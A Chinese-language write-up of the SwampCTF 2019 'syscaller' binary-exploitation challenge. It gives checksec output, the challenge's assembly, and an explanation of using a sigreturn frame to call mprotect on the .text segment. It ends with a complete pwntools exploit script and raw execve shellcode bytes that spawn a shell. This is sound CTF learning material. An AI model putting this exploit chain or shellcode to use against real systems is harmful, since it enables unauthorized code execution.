swampctf2019 syscaller
相关资源
文件分析
1 2 3 4 5 6
| $ checksec syscaller Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000)
|
代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| .text:00000000004000E0 _start: .text:00000000004000E0 push rbp .text:00000000004000E1 mov rbp, rsp .text:00000000004000E4 sub rsp, 200h .text:00000000004000EB mov edi, 1 .text:00000000004000F0 mov rsi, offset msg1 ; "Hello and welcome to"... .text:00000000004000FA mov edx, 3Eh ; '>' .text:00000000004000FF mov eax, 1 .text:0000000000400104 syscall ; LINUX - sys_write .text:0000000000400106 mov eax, 0 .text:000000000040010B mov rsi, rsp .text:000000000040010E mov edi, 0 .text:0000000000400113 mov edx, 200h .text:0000000000400118 syscall ; LINUX - sys_read .text:000000000040011A pop r12 .text:000000000040011C pop r11 .text:000000000040011E pop rdi .text:000000000040011F pop rax .text:0000000000400120 pop rbx .text:0000000000400121 pop rdx .text:0000000000400122 pop rsi .text:0000000000400123 pop rdi .text:0000000000400124 syscall ; LINUX - .text:0000000000400126 mov eax, 3Ch ; '<' .text:000000000040012B xor rdi, rdi .text:000000000040012E syscall ; LINUX - sys_exit
|
可以看到首先sys_write msg1, 然后sys_read读内容到栈上 之后再pop各寄存器后触发syscall
攻击方法
首先想着把str_binsh写到哪里然后执行sys_execve,但查看程序段发现只有栈段是可写的 但是如果用syscall输出泄露栈地址,后面就无法继续控制了
这里想了好久 后面看wp知道mprotect函数也可以syscall执行(rax=10),来改写.text段权限 ,这样就可以让sigFrame的rsp 为.text内的地址 ,rip为0x400104
这样就可以跳回执行syscall调用mprotect更改text段权限,紧接着读内容到text段上,那么我们就可以直接写shellcode了
可以让rsp =0x40011A,这样读完shellcode往下执行的时候就直接执行shellcode了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='amd64', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
proc = process("./syscaller")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
gscript = ''' b * 0x0000000000400113 ''' + 'c\n' * 0 if mode == '-d': gdb.attach(proc, gdbscript=gscript)
syscall = 0x0000000000400104
f = SigreturnFrame() f.rax = 10 f.rdi = 0x00000000400000 f.rsi = 0x1000 f.rip = syscall f.rdx = 0x7 f.rsp = 0x000000000040011A
pld = p64(0) * 3 + p64(0xf) + p64(0) * 4 pld += bytes(f)
sa(b'perish.', pld)
scode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" s(scode)
pi() pause()
|